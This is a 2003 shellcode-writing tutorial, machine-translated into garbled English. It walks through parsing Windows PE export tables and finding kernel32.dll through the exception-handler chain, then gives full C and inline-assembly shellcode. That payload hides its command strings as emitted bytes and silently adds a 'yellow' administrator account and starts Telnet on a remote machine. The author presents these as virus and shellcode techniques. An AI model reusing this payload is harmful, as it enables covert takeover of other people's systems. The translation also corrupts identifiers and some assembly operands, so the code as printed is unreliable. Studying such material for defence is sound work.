General shellcode in-depth analysis

zhaozj2021-02-16  91

General shellcode in-depth analysis

Author: yellow

Email: Yellow@safechina.net

HOME Page:

Www.safechina.net

Date: 2003-12-19

Preface:

There is a lot of articles about shellcode writing technology, what reason let me write this technical article

Chapter? This article is my last overflow technical article Sisters, same

Online we can often see some articles about shelcode's writing technology, and don't have to prepare for beginners.

Here I will stand in a more detailed analysis of the general shellcode at the perspective of beginners, with the previous overflow

The theory and this artist's general shellcode theory, basically we can overflow vulnerabilities based on some announced Window

It is the overflow vulnerability of some software systems to analyze and prepare some overflow attack test programs.

The article first analyzes the PE file format and PE extraction table, and gives a routine, demonstrate how to according to PE

Related Technology Finds the lead function and its address, and then analyzes a method of comparing the Kernel32 base address.

The final combination of theory is simple to apply, gives a general shellcode.

This article also combines the understanding of my study to describe in a way that is easier to understand, but due to shellcode

Complexity, the article mainly uses C and ASM, the author assumes that you have a certain C / ASM mixed programming basis and on

An overflow theoretical basis, I hope this article can improve friends who have spilled the technology like me.

[table of Contents]

1. Introduction to the PE file structure, and analysis of PE extraction table.

1.1 PE file introduction

1.2 Table Analysis

1.3 Writing a common function of a universal DLL base address using an internal issue

GetFunctionByname

2. Getting method for universal kernel32.dll addresses.

2.1 Structured Abnormal Treatment and TEB Introduction

2.2 Using Internal Continuous Write a common function of the Kernel32.dll function base address

Getkernel32

3, comprehensive use (a simple general shellcode)

3.1 Comprehension The technique explained by the technology to prepare a simple shellcode that adds an account and open Telnet:

According to Article 2, the technology uses our own GetFunctionByname to get LoadLibraryA and

GetProcAddress function address, use these two functions to introduce all the functions we need to achieve expectations

Features.

4, reference information.

5, keyword.

-------------------------------------------------- ------------------------------

First, PE file structure and lead table foundation

1. Introduction to PE file structure

PE (portable executable, transplantation), is a standard format for Microsoft Win32 Environment Executable Documents

(The so-called executable file is not only .exe file, also included .dll / .vxd / .sys / .vdm, etc.)

PE file structure (simplified):

-----------------

│1, DOS MZ HEADER│

-----------------

│2, DOS STUB │

-----------------

│3, PE Header │

-----------------

│4, Section Table│

-----------------

│5, SECTION 1 │

-----------------

│6, Section 2 │

-----------------

│ Section ... │

-----------------

│N, Section N │

-----------------

I remember that when I haven't received Win32 programming, I have run a Win32 executable, and the program only outputs.

I don't think it is very interesting, I think it's interesting.

Do you not under Win32 platform? In fact it doesn't identify, it may be simply to enter this line of text

If the source code is like the following C procedure is as simple as: #include

Void main (void)

{

Printf ("This Program Cannot Be Run in Dos Mode./N");

}

You may ask "I didn't write such a statement when I wrote Win32 programs?", In fact, this is connected by connectors (Linker)

A 16-bit DOS program built for you, when you run a Win32 program under the 16-bit system (DOS / Windows 3.x) it will

The executed output a string of characters prompt users "This program cannot be run in DOS mode."

Let's first see what DOS MZ HEADER is in the end, below is the structure description in Winnt.h:

Typedef struct _image_dos_header {// dos .exe header

Word e_magic; // 0x00 Magic Number

Word e_cblp; // 0x02 Bytes on Last Page Of File

Word E_CP; // 0x04 Pages in file

Word E_CRLC; // 0x06 Relocations

Word e_cparhdr; // 0x08 size of header in paragraphs

Word E_MINALLOC; // 0x0a minimum extra paragraphs needed

Word E_MAXALLOC; // 0x0c Maximum Extra Paragraphs Needed

Word E_ss; // 0x0e Initial (Relative) SS Value

Word E_SP; // 0x10 Initial SP Value

Word E_CSUM; // 0x12 Checksum

Word E_IP; // 0x14 Initial IP Value

Word E_CS; // 0x16 Initial (Relative) CS Value

Word E_LFARLC; // 0x18 File Address of Relocation Table

Word e_ovno; // 0x1a overlay number

Word E_RES [4]; // 0x1c reserved Words

Word E_OEMID; // 0x24 OEM Identifier (for e_oeminfo)

Word E_OEMINFO; // 0x26 OEM Information; E_OEMID Specific

Word E_RES2 [10]; // 0x28 reserved Words

Long E_LFANEW; // 0x3c file address of new exe header

} Image_dos_header, * pimage_dos_header;

DOS MZ Header includes some 16-bit DOS programs, if IP (instruction pointers), CS (code segment registers), need to be assigned memory size, checksum, etc., when DOS is ready to be executable Read it when the file is established

The value is to complete the initialization work.

Note the last structure member? Microsoft's person's description is File Address of New Exe Header

The meaning is "New EXE File Head Address", it is a relative offset value, I think the file offset you must know what it is!

E_LFANew is a file offset value, which pointing to Pe Header, it is very important to us. Tightly follow the dos MZ HEADER

Is DOS stub it is a part of this 16-bit DOS program for Linker for us, which is output.

"This Program Cannot Be Run in dos mode." The following is Pe Header, some people have asked me PE header

Is the offset relative to .exe files fixed? This is not good, the STUB length generated by different compilers may not be the same.

(For example: it might store such a string to prompt users "The currnet OS IS Not Win32, I Want to Run

In Win32 Mode. ", then the length of this STUB will be longer than the previous one, so use a fixed value to locate Pe Header

It is not scientific, this time we used E_LFANEW, it point to the real pehader, is it always correct? That is of course

! Linker always gives it a correct value. So we want it to accurately locate Pe Header, the same Win32 Peloader

It is also based on E_LFanew to locate the true PE Header and perform the presentation of different member values ​​in PE Header, PE is also

Including a lot of "section" (section), use to store data, useful to save the executable code, and is also used to save resources

(Such as: program icon, bitmap, sound, dialog template, etc.)

Below I simply analyze the PE structure and write SHELLCODE-related parts, if you are also interested in other parts

You can look at the

Code PE tutorial, I personally feel that it is better to combine the two.

2, the introduction table analysis

In the PE HEADER structure (you can find it in Winnt.h), including a DataDirectory structural member array, you can pass

In this way, find it:

PE head offset = executable file memory image base 0x3c (e_lfanew)

PE base = executable file memory image base PE head offset

Export table directory pointer (image_export_directory *) = PE base address 0x78 <= --- DataDirectory

Export function name table first pointer (char **) = Table of table directory base 0x20

Export function address table first pointer (dword **) = Table table directory pointer 0x1c

Its structural definition is like this:

Typedef struct _image_data_directory {

DWORD VirtualAddress;

DWORD ISIZE;

} Image_data_directory, * pimage_data_directory;

This structure includes 16 members, and the first member's VirtualAddress stores a relative offset, which points to one

Image_export_directory structure, its definition is like this:

Typedef struct_image_export_directory {

DWord Characteristics; // 0x00

DWORD TIMEDATESTAMP; // 0x04

Word Majorversion; // 0x08

Word minorversion; // 0x0a

Dword name; // 0x0c

DWORD base; // 0x10

DWORD NUMBEROFFUNCTION; // 0x14dword NumberOfNames; // 0x18

DWord Addressoffunctions; // 0x1c RVA from Base of Image

DWord AddressOfnames; // 0x20 RVA from Base of Image

DWord AddressOfnameRinals; // 0x24 RVA from base of Image

} Image_export_directory, * pimage_export_directory;

One of the ADDRESSOFFunctions has stored a secondary pointer, which points to a DWORD type pointer number

Group members refer to the function address value, but the value is a function of the function relative to the executable

Relative offset value, the real function address is equal to this relative offset value executable base address in the memory image, I

We can call the true address of Call to call the function. AddressofNames is a secondary character pointer, the array

Members are referring to a deviation value of the function name string relative to the base address of the executable in the memory image.

The function name string can be referenced by the relative offset value executable file in the memory image .Name is also one

The character pointer, it also stores relative offset values, if it is image_export_directory of Kernel32, it points to

The string is "kernel32.dll".

3, this section application example

We have analyzed the part of writing Shellcode, which is indeed a bit difficult to analyze the close-related part of writing shellcode.

But be sure to figure it out, only to understand us to learn the next section, in this section, the final attached a small program,

A large number of "indirect references" in the internal joint distribution code, if you are very familiar with the pointer, it is very understandable, in the program I

We realize the features of Windows API GetProcadDress, which is also the use of some unapproved system functions.

Very useful.

------------ -------------------------------------- ---

The getFunctionByname function can look up the extraction table in a PE execution file and return to the extracted function address, only

Need to know the base address value of kernel32.dll, use it in this program, we do not include the header file or use any one.

Windows API. On my machine it is the 0x77E60000 program as follows:

//GetfunctionByname.c

// Prototype: DWORD getFunctionByname (DWORD ImageBase, Const Char * FuncName, INT FLEN);

//parameter:

// imagebase: Memory image base of executable file

// FuncName: Function Name Pointer

// flen: Function name length

//return value:

The // The function returns a valid function address when the function is successful, and it returns 0 when it fails.

// Eventually, when writing shellcode, the function should be added to the __inline declaration because it is integrated with shellcode.

// Note that in this case we do not include any .h file

Unsigned int getFunctionByname (unsigned int imagebase, const char * funcname, int flen)

{

Unsigned int firenameArray, PE, count = 0, * IED;

__ASM

{

MOV EAX, ImageBase

Add Eax, 0x3c // Point to PE head offset value E_LFANEW

MOV EAX, [EAX] / / get an E_LFANEW value

Add eax, imagebase // point to PE Header

CMP [EAX], 0x00004550

JNE NOTFOUND // If the imagebase handle is wrong

Mov PE, EAX

Mov Eax, [EAX 0x78] Add Eax, ImageBase

MOV [IED], EAX / / Point Image_Export_Directory

// Mov Eax, [EAX 0x0c]

// add eax, imagebase // Point to the extraction module name, if it is looking for the leader of the Kernel32.dll, it will point to "kernel32.dll"

// Mov Eax, [IED]

Mov Eax, [EAX 0x20]

Add Eax, ImageBase

MOV FunNameArray, Eax // Save Function Name Pointer Pointer value

MOV ECX, [IED]

MOV ECX, [ECX 0x14] / / According to the number of numberoffunctions of the lead function, the maximum number of findings

Findloop:

PUSH ECX // uses a small trick, using the program loop easier

Mov Eax, [EAX]

Add Eax, ImageBase

Mov ESI, FUNCNAME

Mov Edi, EAX

MOV ECX, Flen // Compare characters one by one, if the same is found, pay attention to the ECX value here

CLD

REP CMPSB

JNE FINDNEXT / / If the current function is not a specified function, look for the next one

Add ESP, 4 // If the lookup is successful, clear the ECX used to control the outer loop, ready to return

MOV EAX, [IED]

MOV EAX, [EAX 0x1c]

Add Eax, ImageBase // Get the function address table

SHL COUNT, 2 / / According to the function index calculation function address pointer = function address table base address (function index * 4)

Add Eax, Count

MOV EAX, [EAX] // Get the relative offset of the function address

Add eax, imagebase // calculate function true address and return to the caller via EAX

JMP Found

FINDNEXT:

INC Count // Record Function Index

Add [funnameArray], 4 // Next function name pointer

Mov Eax, FunnameArray

POP ECX // Restore Press ECX (Numberoffunctions), counting cycles

Loop Findloop // If the ECX is not 0, it is decremented and returned to Findloop, look for later

NOTFOUND: XOR EAX, Eax // If not found, return 0

Found:

}

}

/ *

Let's test it, first get LoadLibrarya in Kernel32.dll with getFunctionByname

Address, use it to load user32.dll, then get the address of Messageboxa with getfunctionByname, Call

It

* /

Int main (void)

{

Char title [] = "test", user32 [] = "user32", msgf [] = "messageboxa";

Unsigned int loadLibfun;

LoadLibfun = getFunctionByname (0x77e60000, "LoadLibrarya", 12);

// 0x77e60000 is the base address of the kernel32.dll on my machine, the values ​​on different machines may be different.

__ASM

{

Lea Eax, User32

Push EAX

Call dword ptr loadLibfun // is equivalent to executing LoadLibrary ("User32");

LEA EBX, MSGF

Push 0x0b // "Messageboxa" length

Push EBX

Push EAX

Call getFunctionByname

MOV EBX, EAX

Add ESP, 0x0c // getFunctionByname Using C calls, adjust the stack by the caller

PUSH 0

Lea Eax, Title

Push EAX

Push EAX

PUSH 0

Call EBX / / is equivalent to executing MessageBox (Null, "Test", "Test", MB_OK)}

Return 1;

}

The inline assembly code of the function has a lot of statements:

Mov Eax, [Somewhere]

MOV EAX, [EAX 0x ??]

Add Eax, ImageBase

I tried the syntax used by MOV EAX, [ImageBase Eax 0x ??], because of many plots, and they point to

It is also the relative offset, so "acquisition and calculation", it is easy to lead to "access violations". Compile operation, popping up

Is a Messagebox title and content that "TEST" saw? You may ask this program to get other machines

Running? In the entire program, our only dependence is 0x77e60000 this kernel32.dll base address, other machines

May not this value, if this address value can be calculated during the operation of the program, then this program will be very pass.

Use it, can it be dynamically calculated? The answer is yes! The next section we will analyze one is not very popular but very common.

A method of obtaining a Kernel32.dll base address.

-------------------------------------------------- -------------------------------

Second, the analysis of kernel32.dll address method in dynamics

1. Structured abnormal treatment (SEH, STRUCTRED Exception Handling)

SEH is no very new, but it is very important for me to talk about it, so I am a simple one here.

Analysis. OK, open VC, let us analyze a simple "division" computing program to see where it has a problem:

#include

#include

Int main (void)

{

INT X, Y, Z = Y = x = 0;

Printf ("INPUT TWO Integer Number:");

Scanf ("% D% D", & x, & y);

z = x / y;

Printf ("% D DIV% D =% D", X, Y, Z);

Getch ();

Return 0;

}

Compile, run: Enter 4 2, the program output "4 DIV 2 = 2", the result is correct. Run the input 4 0, the problem came out,

Visual Studio popped up a message:

"Unhandled Exception in Seh.exe: 0xc0000094: Integer Divide By Zero", unprocessed

"Except for 0 abnormal", the traditional method is that we add judgment before z = x / y:

#include

#include

Int main (void)

{

INT X, Y, Z = Y = x = 0;

Printf ("INPUT TWO Integer Number:");

Scanf ("% D% D", & x, & y);

IF (! y)

{

Printf ("CAN NOT DIVIDE BY ZERO!");

Goto lquit;

}

z = x / y;

Printf ("% D DIV% D =% D", X, Y, Z);

Lquit:

Getch ();

Return 0;

}

Error handling in this small program is really easy to understand, but think about if there are thousands or even tens of thousands of rows, such

Error Capture Processing will make the program very messy, and the traditional method is handled in what we can imagine (guess),

But some guidelines are very random, so they can't guarantee the robustness of the program, and SEH is in order to make it

Often processing code and error handling code are separated to make the program structure clear, and make the program more robust. Let's change this applet:

#include

#include

#include

Int main (void)

{

INT X, Y, Z = Y = x = 0;

Printf ("INPUT TWO Integer Number:");

Scanf ("% D% D", & x, & y);

__TRY

{// Package the block that may be wrong

z = x / y;

// ......

}

__EXCEPT (Exception_execute_Handler)

{// Find out the cause of abnormalities, and process

Switch (getExceptioncode ())

{

CASE EXCEPTION_INT_DIVIDE_BY_ZERO: // If 0 exception

{

Printf ("CAN NOT DIVIDE BY ZERO!");

Goto lquit;

}

Case exception_access_violation: // Memory Access violation

{

// .....

Break;

}

// DO Other ...

DEFAULT:

Break;

}

}

Printf ("% D DIV% D =% D / N", X, Y, Z);

Lquit:

Getch ();

Return 0;

}

In this way, we will make the final capture, compile, select "Disassembly", you can see this code:

Push offset __except_handler3 (00401330)

Mov Eax, fs: [00000000]

Push EAX

MOV DWORD PTR FS: [0], ESP

This is actually the registration method of the standard SEH exception handler, and our __except () {} is actually used as one when compiling.

Thread-related exception handler, actually the role of this code is to add our exception handler to an exception chain

Table Exception_Registration_Record, FS: [0] is the first pointer to this exception handler linked list, its last record

Node pointer points to 0xfffffffff. Its structure description is like this:

TypeDef struct _exception_registration_record

{

struct _exception_registration_record * pnext; // Point to the node behind

FarProc PFNHandler; / / Point to anomalous handler

} EXCEPTION_REGISTRATION_RECORD, * PEXCEPTION_REGISTRATION_RECORD;

You may ask "How do you know fs: [0] is the first pointer of this structure?", Of course, I don't have that talented, from the Windows 95 system program

The design book can be known whenever a thread is created, and the system will allocate TEB (Thread Environment Block) for each thread.

In Windows 9x is called Tib (Thread Information Block, TEB is always placed in the data segment specified in the FS segment selector

0 offset.

------------------------------------- ----------------

Look at the structure of TEB, you will understand:

Typedef struct_tib

{

PEXCEPTION_REGISTRATION_RECORD PVEXCEPT; // 00h Head of exception record list <= --- Pay attention to this pointer member

-------------------------------------------------- ------- pvoid pvstackusertop; // 04h Top of User Stack

Pvoid ​​PvStackuserBase; // 08H Base of User Stack

Union // 0ch (NT / WIN95 DIFFERENCES)

{

Struct // Win95 Fields

{

Word pvtdb; // 0ch TDB

Word pvthunkss; // 0eh ss selector used for thunking to 16 bits

DWORD UNKNOWN1; // 10h

} WIN95;

Struct // Winnt Fields

{

Pvoid ​​subsystemtib; // 0ch

Ulong fiberdata; // 10h

Winnt;

} TIB_Union1;

PVOID PVARBITRARY; / / 14H Available for Application USE

Struct_tib * ptibself; // 18h Linear Address of Tib Structure

Union // 1CH (NT / Win95 Differences)

{

Struct // Win95 Fields

{

Word Tibflags; // 1ch

Word win16mutexcount; // 1eh

DWORD DebugContext; // 20h

DWORD PCURRENTPRIORITY; / / 24H

DWORD PVQUEUE; // 28h Message Queue Selector

} WIN95;

Struct // Winnt Fields

{

DWORD UNKNOWN1; // 1CH

DWORD processID; // 20h <= - pay attention to this and one member

// -------------

DWORD THREADID; / / 24H <= ---- Pay attention to this member

// -------------

DWORD UNKNOWN2; / / 28H

Winnt;

} TIB_Union2;

PVOID * PVTLSARRAY; // 2ch thread local storage array

Union // 30h (NT / WIN95 DIFFERENCES)

{

Struct // Win95 Fields

{

PVOID * PPRocess; // 30h Pointer to Owning Process Database

} WIN95;

} TIB_UNION3;

} TIB, * PTIB;

Did you see? The first member of Teb is an exception handling chain head pointer Head of Exception Record List, it relative

The TEB first address 0x00 offset, and Teb is always placed at the 0x00 offset of the FS segment register, that is, the 0x00 offset of the FS segment register.

Seeing the other two members I let you pay attention to? ProcessID stores the ID number of the current threading process, threadid stores the current thread

ID number, so we can achieve two Windows APIs:

//Myapi.c

#include #include

#include

__inline __declspec (naked) DWORD GETCURRENTPROCESSID2 (Void)

{

__ASM

{

MOV EAX, FS: [0x20] // Read the contents of the Teb, returned by EAX

RET

}

}

__inline __declspec (naked) DWORD GETCURRENTTHREADID2 (VOID)

{

__ASM

{

MOV EAX, FS: [0x24] // Read TEB's ThreadID member content, return via EAX

RET

}

}

//have a test

Void main (void)

{

Printf ("My PID =% D / TAPI PID =% D / N", getCurrentProcessid2 (), getCurrentProcessId ());

Printf ("My TID =% D / TAPI TID =% D / N", getCurrentThreadID2 (), getCurrentThreadId ());

Getch ();

}

Program output:

My pid = 1448 API PID = 1448

My TID = 1204 API TID = 1204

Note that different machines, the values ​​output here may not be the same, but my PID is equal to API PID, My TID constant API TID.

It's interesting! Sarre to say so much, then what is the relationship between these and get the kernel32.dll base? Don't worry, continue to see you

Will understand!

2. Find the Kernel32.dll base address through an exception handler

Let us now look at the order of abnormal processing, it is like this:

When an exception occurs, the system will read the exception handle function Link list from FS: [0], start to ask all registered in the application.

Exception handler, such as "except 0 exception" above, the system will notify our exception handler, the function identifies "except 0 abnormal",

And give the system (output "Can Not Divide By Zero!"), And tell the system "I have already handled it, don't ask other functions."

If our function is not intended to handle this exception can handle other exception handle functions pointing to the exception handler pointer in the brothers node

Processing, if the exception handles registered in the program do not process this exception, then the system will send it to the current debugging tool, if the application is

If you don't deal with this exception before debugging or debugging tools, the system will send it to the unhandledExceptionFilter of Kernel32.

The function is handled, of course it is a PFNHandler that is the last node of the program exception handling chain (refer to exception_registration_record)

The function pointer member points to the PNEXT member of the node points to 0xfffffffff.

Have you seen so many inspiration? We already have the address of the lead function of kernel32.dll, can't find its base address

Do you look at the little program below!

/ *

Prototype: Unsigned Int Getkernel32 (Void);

Parameters: no

return value:

Function always returns the base address of kernel32.dll

Description: From the PE executable feature, from the UnhandleDexceptionFilter function address, linearly, use __inline is for

The final shellcode is integrated, using __declspec (naked) is to generate some "nonsense" in order not to let the compiler self-intelligence generation, let it

Fully describe functions in our own ASM statement.

* /

#include

#include

__inline __declspec (naked) unsigned int getkernet ()

{

__ASM

{

PUSH ESI

Push ECXMOV ESI, FS: 0

Lodsd

GetExeceptionFilter:

CMP [EAX], 0xfffffffff

JE getEDEXECEPTIONFILTER / / If the last node is reached (its PFNHandler points unhandexceptionFilter)

Mov eax, [eax] / / otherwise traversed, until the last node

JMP getExeceptionFilter

GetExeceptionFilter:

Mov Eax, [EAX 4]

FindMZ:

And Eax, 0xffff0000 // Perform file according to PE, speed up the lookup speed

CMP Word PTR [EAX], 'ZM' / / The base address of kernel32.dll is found according to PE executable feature.

JNE MOVEUP // If the current address does not match the full MZ header feature, look up

MOV ECX, [EAX 0x3c]

Add ECX, EAX

CMP Word PTR [ECX], 'EP' // Find the base address of kernel32.dll according to PE executable feature

JE FOUND / / If MZ and PE head feature, Je Found // is considered to be found and returned to the caller via EAX

Moveup:

Dec Eax // Prepare to point the next boundary start address

JMP FindMZ

Found:

POP ECX

POP ESI

RET

}

}

Void main (void)

{

Printf ("% 0.8x / n", get kernel32 ());

Getch ();

}

After completing the study of this section, you should master several technologies that are often used to write viruses and shellcode:

1. Find the lead function address according to the PE file

2, dynamic calculation of the base address of kernel32.dll

3, dynamically load required RTM and WINDOWS API (s)

In the last section we will make a comprehensive application of the techniques analyzed in front, write a simple shellcode

-------------------------------------------------- ------------------------------------------

Third, comprehensive use

In this section, we will write a simple general shellcode in the previous analysis, this shellcode will first create a new one on the remote machine.

User, user name Yellow, password Yellow, if the user may be added to the Administrators user group, if possible, Telnet

Service, please pay attention to my coding style, this style is very convenient for future shellcode functional expansion. The source program is as follows:

///

#include

#include

#include

#include

/ / Define API and DLL names and its storage order, good coding style provides great convenience for future development.

#define apistart 0

#define getProcaddress (apistart 0)

#define loadLibrary (apistart 1)

#define EXITPROCESS (Apistart 2)

#define Winexec (Apistart 3)

#define knlstart (EXITPROCESS)

#define knlend (Winexec)

#define nknlapi (4)

#define WSOCKSTART (Knlend 1)

#define socket (WSOCKSTART 0)

#define bind (WsockStart 1)

#define connection (WSOCKSTART 2)

#define accept (WSOCKSTART 3)

#define listen (WSOCKSTART 4)

#define send (WSOCKSTART 5)

#define Recv (WSOCKSTART 6)

#define clossoSocket (WSOCKSTART 7)

#define WSAStartup (WSOCKSTART 8)

#define wsacleanup (WSOCKSTART 9)

#define wsockend (WSacleanup)

#define nwsockapi (10)

// define NetApi, RPCAPI ......

#define napis (nknlapi nwsockapi / * nnetapi NRPCAPI ....... * /)

#define dllstart 0

#define kerneldll (DLLSTART 0)

#define WS2_32DLL (DLLSTART 1)

#define dllend (WS2_32DLL)

#define ndlls2

#define command_start 0

#define command_adduser (Command_Start 0)

#define command_setUseradmin (Command_Start 1)

#define command_opentlnt (Command_Start 2)

#define command_end (Command_OpenTLNT)

#define ncmd3

Void shellcodefun (void)

{

DWORD ImageBase, IED, FunnameArray, PE, Count, Flen, DLLS [NDLLS];

INT I;

Char * funcname, * apinames [napis], * dllnames [ndlls], * cmd [ncmd];

FarProc API [NAPIS];

__ASM

{// 1, manually obtain the kernel32.dll base address, and get the LoadLibrarya and getProcAddress function addresses

PUSH ESI

Push ECX

MOV ESI, FS: 0

Lodsd

GetExeceptionFilter:

CMP [EAX], 0xfffffffff

Je getEdexeceptionFilter

Mov Eax, [EAX]

JMP getExeceptionFilter

GetExeceptionFilter:

Mov Eax, [EAX 4]

FindMZ:

And Eax, 0xffff0000

CMP Word PTR [EAX], 'ZM'

JNE Moveup

MOV ECX, [EAX 0x3c]

Add ECX, EAX

CMP Word PTR [ECX], 'EP'

Je Foundknl

Moveup:

Dec EAX

JMP FindMZ

Foundknl:

POP ECX

POP ESI

MOV DLLS [Kerneldll * Type DWORD], EAX

Mov ImageBase, EAX

Call LgetProcaddress

_emit 'g';

_emit 'e';

_emit 't';

_EMIT 'P';

_emit 'r';

_emit 'o';

_EMIT 'C';

_emit 'a';

_emit 'd';

_emit 'd';

_emit 'r';

_emit 'e';

_emit 's';

_emit 's';

_emit 0x00

LgetPROCADDRESS:

POP EAX

Mov apinames [getProcaddress * 4], EAX

Mov FuncName, EAX

MOV Flen, 0x0d

Mov count, 0

Call FindApi

Mov API [GetProcaddress * Type FarProc], EAX

Call loadingLibrarya

_emit 'l';

_emit 'o';

_emit 'a';

_emit 'd';

_emit 'l';

_emit 'I';

_emit 'b';

_emit 'r';

_emit 'a';

_emit 'r';

_EMIT 'Y';

_emit 'a';

_emit 0x00

LoadLibrarya:

POP EAX

Mov Apinames [LoadLibrary * 4], EAX

Mov FuncName, EAX

MOV Flen, 0x0b

Mov count, 0

Call FindApi

Mov API [LoadLibrary * Type FarProc], EAX

}

__ASM

{

// 2, fill in the required DLL name, note the same as the macro sequence defined above

Call keNel32

_emit 'k';

_emit 'e';

_emit 'r';

_emit 'n';

_emit 'e';

_emit 'l';

_emit '3';

_emit '2';

_emit '.'

_emit 'd'

_emit 'L'

_emit 'L'

_emit 0x00

Kernel32:

POP DLLNAMES [kerneldll * 4]

Call WS2_32

_EMIT 'W';

_emit 's';

_emit '2';

_emit '_';

_emit '3';

_emit '2';

_emit '.'

_emit 'd'

_emit 'L'

_emit 'L'

_emit 0x00

WS2_32:

POP DLLNAMES [WS2_32DLL * 4]

// 3, fill in other API names, note that the above definition is the same as the above

Call LexitProcess // 1

_emit 'e';

_EMIT 'X';

_emit 'I';

_emit 't';

_EMIT 'P';

_emit 'r';

_emit 'o';

_EMIT 'C';

_emit 'e';

_emit 's';

_emit 's';

_emit 0x00

LexitProcess:

POP APINAMES [EXITPROCESS * 4]

Call lwinexec // 2

_EMIT 'W';

_emit 'I';

_emit 'n';

_emit 'e';

_EMIT 'X';

_emit 'e';

_EMIT 'C';

_emit 0x00

Lwinexec:

POP APINAMES [Winexec * 4]

Call lsocket //3

_emit 's'; _ EMIT 'O';

_EMIT 'C';

_emit 'k';

_emit 'e';

_emit 't';

_emit 0x00

Lsocket:

POP APINAMES [Socket * 4]

Call lbind // 4

_emit 'b';

_emit 'I';

_emit 'n';

_emit 'd';

_emit 0x00

Lbind:

POP APINAMES [Bind * 4]

Call lconnect

_EMIT 'C';

_emit 'o';

_emit 'n';

_emit 'n';

_emit 'e';

_EMIT 'C';

_emit 't';

_emit 0x00

LCONNECT:

POP APINAMES [Connect * 4]

Call laccept //5

_emit 'a';

_EMIT 'C';

_EMIT 'C';

_emit 'e';

_EMIT 'P';

_emit 't';

_emit 0x00

Laccept:

POP Apinamescall Llisten // 6

_emit 'l';

_emit 'I';

_emit 's';

_emit 't';

_emit 'e';

_emit 'n';

_emit 0x00

Llisten:

POP APINAMES [Listen * 4]

Call Lsend // 7

_emit 's';

_emit 'e';

_emit 'n';

_emit 'd';

_emit 0x00

Lsend:

POP APINAMES [Send * 4]

Call LRECV / / 8

_emit 'r';

_emit 'e';

_EMIT 'C';

_emit 'v';

_emit 0x00

LRECV:

POP APINAMES [Recv * 4]

Call CloseSocketl // 9

_EMIT 'C';

_emit 'l';

_emit 'o';

_emit 's';

_emit 'e';

_emit 's';

_emit 'o';

_EMIT 'C';

_emit 'k';

_emit 'e';

_emit 't';

_emit 0x00

CloseSocketl:

POP APINAMES [CloseSocket * 4]

Call wsastartupl // 10

_EMIT 'W';

_emit 's';

_emit 'a';

_emit 's';

_emit 't';

_emit 'a';

_emit 'r';

_emit 't';

_emit 'u';

_EMIT 'P';

_emit 0x00

WSAStartUPL:

POP APINAMES [WSAStartup * 4]

Call wsacleanupl // 11

_EMIT 'W'; _ EMIT 'S';

_emit 'a';

_EMIT 'C';

_emit 'l';

_emit 'e';

_emit 'a';

_emit 'n';

_emit 'u';

_EMIT 'P';

_emit 0x00

WSACLEANUPL:

POP APINAMES [WSACLANUP * 4]

// NOP; you can set up a breakpoint here to see if Dllnames and Apinames are filled in the required content

//fill in

}

// 3, load all the needs of the DLL

For (i = dllstart; i <= dllend; i )

{

DLLS [I] = API [LoadLibrary] (Dllnames [i]);

}

// 4, get all the required API

//4.1 gets Windows Kernel API

For (i = knlstart; i <= knlend; i )

{

API [I] = API [GetProcaddress] (DLLS [kerNeldll], APINAMES [I]);

}

//4.2 gets Windows Sockets API

For (i = wsockstart; i <= wsockend; i )

{

API [I] = API [GetProcaddress] (DLLS [WS2_32DLL], APINAMES [I]);

}

// 5, write shellcode functional parts

__ASM

{

Call Putcommand_Adduser

_EMIT 'N'

_emit 'e'

_EMIT 'T'

_emit ''

_emit 'u'

_EMIT 'S'

_emit 'e'

_EMIT 'R'

_emit ''

_EMIT 'Y'

_emit 'e'

_emit 'L'

_emit 'L'

_emit 'o'

_EMIT 'W'

_emit ''

_EMIT 'Y'

_emit 'e'

_emit 'L'

_emit 'L'

_emit 'o'

_EMIT 'W'

_emit ''

_EMIT '/'

_EMIT 'A'

_emit 'd'

_emit 'd'

_emit 0x00

Putcommand_adduser:

POP cmd [command_adduser * 4]

Call Putcommand_setUseradmin

_EMIT 'N'

_emit 'e'

_EMIT 'T'

_emit ''

_emit 'L'

_emit 'o'

_EMIT 'C'

_EMIT 'A'

_emit 'L'

_EMIT 'G'

_EMIT 'R'

_emit 'o'

_emit 'u'

_EMIT 'P'

_emit ''

_EMIT 'A'

_emit 'd'

_EMIT 'M'

_EMIT 'I'_EMIT' N '

_emit 'I'

_EMIT 'S'

_EMIT 'T'

_EMIT 'R'

_EMIT 'A'

_EMIT 'T'

_emit 'o'

_EMIT 'R'

_EMIT 'S'

_emit ''

_EMIT 'Y'

_emit 'e'

_emit 'L'

_emit 'L'

_emit 'o'

_EMIT 'W'

_emit ''

_EMIT '/'

_EMIT 'A'

_emit 'd'

_emit 'd'

_emit 0x00

Putcommand_setUseradmin:

POP cmd [command_setuseradmin * 4]

Call Putcommand_OpenTlnt

_EMIT 'N'

_emit 'e'

_EMIT 'T'

_emit ''

_EMIT 'S'

_EMIT 'T'

_EMIT 'A'

_EMIT 'R'

_EMIT 'T'

_emit ''

_EMIT 'T'

_emit 'L'

_EMIT 'N'

_EMIT 'T'

_EMIT 'S'

_emit 'v'

_EMIT 'R'

_emit 0x00

Putcommand_opentlnt:

POP cmd [command_opentlnt * 4]

}

// __ASM INT 3 // Use breakpoints in the Release version

// 6, execute the command to create a new user, add the user to Administrators, and turn on the standard Telnet service

For (i = command_start; i <= command_end; i )

API [Winexec] (CMD [I], SW_HIDE);

/ *

We have introduced some commonly used kernel APIs and Winsock APIs, you can do more in-depth here.

Development (such as we can use Winsock yourself to implement a Telnet server).

* /

API [EXITPROCESS] (0); // Use EXITPROCESS to exit shellcode to reduce errors

__ASM

{

/ *

Subprint Findapi, modified by getFunctionByname you explained in front of me

Entrance parameters:

ImageBase: DLL base

FuncName: Retrieved function names need to be found

Flen: The length of the function is taken, and it can be shorter than the lead function name without repetition.

Count: Terminal Function The index starts, usually set it to 0.

Export parameters:

If the lookup successfully eax returns a valid function address, otherwise returns 0

* /

FindAPI:

MOV EAX, ImageBase

Add Eax, 0x3c // Point to PE head offset value E_LFANEW

MOV EAX, [EAX] / / get an E_LFANEW value

Add eax, imagebase // point to PE Header

CMP [EAX], 0x00004550

JNE NOTFOUND // If the imagebase handle is wrong

Mov PE, EAX

Mov Eax, [EAX 0x78]

Add eax, imagebase // pointing image_export_directory

MOV [IED], EAX

Mov Eax, [EAX 0x20]

Add Eax, ImageBasemov FunnameArray, Eax / / Save Function Name Pointer Pointer Pointer

MOV ECX, [IED]

MOV ECX, [ECX 0x14] / / According to the number of numberoffunctions of the lead function, the maximum number of findings

Findloop:

PUSH ECX // uses a small trick, using the program loop easier

Mov Eax, [EAX]

Add Eax, ImageBase

Mov ESI, FUNCNAME

Mov Edi, EAX

